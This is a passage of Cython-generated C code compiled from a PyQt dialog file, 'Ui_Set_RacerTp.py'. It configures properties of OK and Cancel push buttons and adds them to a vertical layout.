__Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFocusPolicy); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_NoFocus); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":79 * self.OkBtn.setEnabled(False) * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) # <<<<<<<<<<<<<< * self.OkBtn.setToolTip("") * self.OkBtn.setStatusTip("") */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setContextMenuPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_NoContextMenu); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":80 * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) * self.OkBtn.setToolTip("") # <<<<<<<<<<<<<< * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__55, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":81 * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) * self.OkBtn.setToolTip("") * self.OkBtn.setStatusTip("") # <<<<<<<<<<<<<< * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__56, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":82 * self.OkBtn.setToolTip("") * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") # <<<<<<<<<<<<<< * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__57, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":83 * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__58, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":84 * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") # <<<<<<<<<<<<<< * self.OkBtn.setAutoDefault(False) * self.OkBtn.setObjectName("OkBtn") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setShortcut); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__59, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":85 * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) # <<<<<<<<<<<<<< * self.OkBtn.setObjectName("OkBtn") * self.verticalLayout.addWidget(self.OkBtn) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAutoDefault); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__60, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":86 * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) * self.OkBtn.setObjectName("OkBtn") # <<<<<<<<<<<<<< * self.verticalLayout.addWidget(self.OkBtn) * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__61, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":87 * self.OkBtn.setAutoDefault(False) * self.OkBtn.setObjectName("OkBtn") * self.verticalLayout.addWidget(self.OkBtn) # <<<<<<<<<<<<<< * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.CancelBtn.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":88 * self.OkBtn.setObjectName("OkBtn") * self.verticalLayout.addWidget(self.OkBtn) * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) # <<<<<<<<<<<<<< * self.CancelBtn.setToolTip("") * self.CancelBtn.setStatusTip("") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn, __pyx_t_2) < 0) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":89 * self.verticalLayout.addWidget(self.OkBtn) * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.CancelBtn.setToolTip("") # <<<<<<<<<<<<<< * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__62, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":90 * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.CancelBtn.setToolTip("") * self.CancelBtn.setStatusTip("") # <<<<<<<<<<<<<< * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__63, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":91 * self.CancelBtn.setToolTip("") * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") # <<<<<<<<<<<<<< * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__64, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":92 * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__65, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":93 * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") # <<<<<<<<<<<<<< * self.CancelBtn.setAutoDefault(False) * self.CancelBtn.setObjectName("CancelBtn") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setShortcut); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__66, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":94 * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) # <<<<<<<<<<<<<< * self.CancelBtn.setObjectName("CancelBtn") * 